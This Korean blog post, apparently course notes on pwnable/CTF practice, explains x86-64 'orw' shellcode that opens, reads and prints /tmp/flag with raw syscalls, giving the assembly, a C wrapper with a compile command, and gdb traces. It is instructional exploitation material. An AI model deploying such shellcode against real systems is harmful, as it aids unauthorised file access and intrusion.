Exploit : 해킹 분야에서 상대 시스템을 공격하는 것
ShellCode
익스플로잇을 위해 제작된 어셈블리 코드 조각
목적 ) shell을 획득하기 위함
* 어셈블리어 ↔ 기계어 : 일대일 대응 ▶ 원하는 모든 명령을 CPU에 내릴 수 있음
orw shell code
파일을 열고, 읽은 뒤 화면에 출력해주는 shell code
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
>/tmp/flag를 읽는 shell code를 c언어 형식의 의사코드로 표현한 것
<Syscall Table>
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char* buf | size_t count |
write | 0x01 | unsigned int fd | const char* buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
/* File access modes for `open' and `fcntl'. */
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
> reference : https://codebrowser.dev/glibc/glibc/bits/fcntl.h.html#24
1) int fd = open("/tmp/flag", O_RDONLY, NULL)
▶ "/tmp/flag" 문자열 메모리에 위치시키기
- /tmp/flag(0x616c662f706d742f67) push
* 8바이트 단위로 push 할 수 있으므로 0x67 먼저 push한 뒤 0x616c662f706d742f push해야함
▶레지스터에 맞는 값 넣기
- rdi가 이를 가르키도록 함 → rdi에 rsp 값을 복사(현재 스택포인터 값)
- rdi (filename) : rsp를 가르킴
- rsi (flags) : O_RDONLY > 0
- rdx (mode) : mode 의미 없음 > 0
- rax : open의 syscall 값 > 2
push 0x67 ; 0x67 push > rsp 이동
mov rax, 0x616c662f706d742f ; rax에 8바이트 넣기
push rax ; rax에 저장한 값을 push
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0 ; mode x
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
> 구현한 어셈블리 코드
*syscall 의 반환 값 > rax 저장
2) read(fd, buf, 0x30)
▶레지스터에 맞는 값 넣기
- rax에 syscall에 반환값인 fd가 있으므로 rdi에 rax 값을 복사함
- rdi (fd) : rax를 가르킴
- rsi (buf) : 읽을 데이터를 저장할 주소 > rsp-0x30(0x30만큼 읽을 것이므로)
- rdx (count) : 읽어낼 데이터의 길이 > 0x30
- rax : read의 syscall 값 > 0
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
> 구현한 어셈블리 코드
3) write(1, buf, 0x30)
- rdi (fd) : stdout 출력 > 0x1
- rax : write의 syscall 값 > 1
read랑 같은 값을 쓰는 레지스터
- rsi (buf) : 읽을 데이터를 저장할 주소 > rsp-0x30(0x30만큼 읽을 것이므로)
- rdx (count) : 읽어낼 데이터의 길이 > 0x30
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
> 구현한 어셈블리 코드
orw shell code compile
;Name orw.S
push 0x67 ; 0x67 push > rsp 이동
mov rax, 0x616c662f706d742f ; rax에 8바이트 넣기
push rax ; rax에 저장한 값을 push
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0 ; mode x
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
> orw.S
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
> orw.c
orw shell code debugee
Breakpoint 1, 0x0000555555555129 in run_sh ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0x0
RBX 0x0
*RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x7fffffffdff8 —▸ 0x7fffffffe37f ◂— 'SHELL=/bin/bash'
*RDI 0x1
*RSI 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— '/home/minzu/exploit_test/shellcode/orw'
*R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4
*R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
*R10 0x7ffff7fc3908 ◂— 0xd00120000000e
*R11 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
*R12 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— '/home/minzu/exploit_test/shellcode/orw'
*R13 0x55555555517e (main) ◂— endbr64
*R14 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP 0x7fffffffded0 ◂— 0x1
*RSP 0x7fffffffdec8 —▸ 0x555555555190 (main+18) ◂— mov eax, 0
*RIP 0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x555555555129 <run_sh> push 0x67
0x55555555512b <run_sh+2> movabs rax, 0x616c662f706d742f
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdec8 —▸ 0x555555555190 (main+18) ◂— mov eax, 0
01:0008│ rbp 0x7fffffffded0 ◂— 0x1
02:0010│+008 0x7fffffffded8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
03:0018│+010 0x7fffffffdee0 ◂— 0x0
04:0020│+018 0x7fffffffdee8 —▸ 0x55555555517e (main) ◂— endbr64
05:0028│+020 0x7fffffffdef0 ◂— 0x100000000
06:0030│+028 0x7fffffffdef8 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— '/home/minzu/exploit_test/shellcode/orw'
07:0038│+030 0x7fffffffdf00 ◂— 0x0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x555555555129 run_sh
1 0x555555555190 main+18
2 0x7ffff7c29d90 __libc_start_call_main+128
3 0x7ffff7c29e40 __libc_start_main+128
4 0x555555555065 _start+37
────────────────────────────────────────────────────────────────────────────────
1) int fd = open("tmp/flag", O_RDONLY, NULL)
Breakpoint 2, 0x0000555555555146 in run_sh ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x2
RBX 0x0
RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x0
*RDI 0x7fffffffdeb8 ◂— '/tmp/flag'
*RSI 0x0
R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7fc3908 ◂— 0xd00120000000e
R11 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
R12 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— '/home/minzu/exploit_test/shellcode/orw'
R13 0x55555555517e (main) ◂— endbr64
R14 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffded0 ◂— 0x1
*RSP 0x7fffffffdeb8 ◂— '/tmp/flag'
*RIP 0x555555555146 (run_sh+29) ◂— syscall
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
► 0x555555555146 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffdeb8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rdi rsp 0x7fffffffdeb8 ◂— '/tmp/flag'
01:0008│-010 0x7fffffffdec0 ◂— 0x67 /* 'g' */
02:0010│-008 0x7fffffffdec8 —▸ 0x555555555190 (main+18) ◂— mov eax, 0
03:0018│ rbp 0x7fffffffded0 ◂— 0x1
04:0020│+008 0x7fffffffded8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
05:0028│+010 0x7fffffffdee0 ◂— 0x0
06:0030│+018 0x7fffffffdee8 —▸ 0x55555555517e (main) ◂— endbr64
07:0038│+020 0x7fffffffdef0 ◂— 0x100000000
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x555555555146 run_sh+29
1 0x616c662f706d742f
2 0x67
3 0x555555555190 main+18
4 0x7ffff7c29d90 __libc_start_call_main+128
5 0x7ffff7c29e40 __libc_start_main+128
6 0x555555555065 _start+37
────────────────────────────────────────────────────────────────────────────────
> rax : open(2) / rdi : /tmp/flag
2) read(fd, buf, 0x30)
Breakpoint 3, 0x0000555555555160 in run_sh ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
*RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0xfffffffffffffffe
*RSI 0x7fffffffde88 ◂— 0x0
R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7fc3908 ◂— 0xd00120000000e
*R11 0x346
R12 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— '/home/minzu/exploit_test/shellcode/orw'
R13 0x55555555517e (main) ◂— endbr64
R14 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffded0 ◂— 0x1
RSP 0x7fffffffdeb8 ◂— '/tmp/flag'
*RIP 0x555555555160 (run_sh+55) ◂— syscall
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
► 0x555555555160 <run_sh+55> syscall <SYS_read>
fd: 0xfffffffffffffffe
buf: 0x7fffffffde88 ◂— 0x0
nbytes: 0x30
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
0x555555555170 <run_sh+71> syscall
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdeb8 ◂— '/tmp/flag'
01:0008│-010 0x7fffffffdec0 ◂— 0x67 /* 'g' */
02:0010│-008 0x7fffffffdec8 —▸ 0x555555555190 (main+18) ◂— mov eax, 0
03:0018│ rbp 0x7fffffffded0 ◂— 0x1
04:0020│+008 0x7fffffffded8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
05:0028│+010 0x7fffffffdee0 ◂— 0x0
06:0030│+018 0x7fffffffdee8 —▸ 0x55555555517e (main) ◂— endbr64
07:0038│+020 0x7fffffffdef0 ◂— 0x100000000
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x555555555160 run_sh+55
1 0x616c662f706d742f
2 0x67
3 0x555555555190 main+18
4 0x7ffff7c29d90 __libc_start_call_main+128
5 0x7ffff7c29e40 __libc_start_main+128
6 0x555555555065 _start+37
────────────────────────────────────────────────────────────────────────────────
> rax : read(0) / rdx : 0x30 / rsi : rsb - 0x30
3) write(1,buf,0x30)
Breakpoint 4, 0x0000555555555170 in run_sh ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x1
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
RDI 0x1
RSI 0x7fffffffde88 ◂— 0x0
R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7fc3908 ◂— 0xd00120000000e
R11 0x306
R12 0x7fffffffdfe8 —▸ 0x7fffffffe357 ◂— '/home/minzu/exploit_test/shellcode/orw'
R13 0x55555555517e (main) ◂— endbr64
R14 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffded0 ◂— 0x1
RSP 0x7fffffffdeb8 ◂— '/tmp/flag'
*RIP 0x555555555170 (run_sh+71) ◂— syscall
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
► 0x555555555170 <run_sh+71> syscall <SYS_write>
fd: 0x1 (/dev/pts/0)
buf: 0x7fffffffde88 ◂— 0x0
n: 0x30
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
0x55555555517e <main> endbr64
0x555555555182 <main+4> push rbp
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdeb8 ◂— '/tmp/flag'
01:0008│-010 0x7fffffffdec0 ◂— 0x67 /* 'g' */
02:0010│-008 0x7fffffffdec8 —▸ 0x555555555190 (main+18) ◂— mov eax, 0
03:0018│ rbp 0x7fffffffded0 ◂— 0x1
04:0020│+008 0x7fffffffded8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
05:0028│+010 0x7fffffffdee0 ◂— 0x0
06:0030│+018 0x7fffffffdee8 —▸ 0x55555555517e (main) ◂— endbr64
07:0038│+020 0x7fffffffdef0 ◂— 0x100000000
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x555555555170 run_sh+71
1 0x616c662f706d742f
2 0x67
3 0x555555555190 main+18
4 0x7ffff7c29d90 __libc_start_call_main+128
5 0x7ffff7c29e40 __libc_start_main+128
6 0x555555555065 _start+37
────────────────────────────────────────────────────────────────────────────────
> rax : write(1) / rid : stdout(1)
reference
- Dreamhack SystemHacking > ExploitTech : Shellcode
'Hacking > Pwnable' 카테고리의 다른 글
[Mitigation] NX (0) | 2024.08.25 |
---|---|
[Mitigation] Stack Canary (0) | 2024.08.24 |
gdb를 pwntools와 디버깅하기 (0) | 2024.07.26 |
[Memory Corruption] Stack Buffer Overflow (1) | 2024.01.29 |
[Exploit] ShellCode(2) - execve shell code (1) | 2024.01.27 |